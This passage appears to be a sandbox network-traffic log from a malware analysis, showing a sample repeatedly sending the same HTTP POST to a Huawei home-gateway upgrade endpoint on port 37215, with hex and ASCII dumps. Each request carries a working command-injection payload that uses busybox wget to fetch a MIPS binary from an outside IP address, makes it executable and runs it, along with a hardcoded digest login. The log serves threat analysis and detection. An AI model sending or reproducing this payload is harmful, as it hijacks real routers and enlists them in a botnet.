huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	51916	156.254.68.190	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:20.631357908 CET	1035	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:22.247819901 CET	1063	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:24.167435884 CET	1146	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:28.102889061 CET	1255	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:35.782054901 CET	1452	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143810034 CET	1850	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.367575884 CET	2715	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	156.254.68.190	37215	192.168.2.23	51916

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:20.631357908 CET	1035	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:22.247819901 CET	1063	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
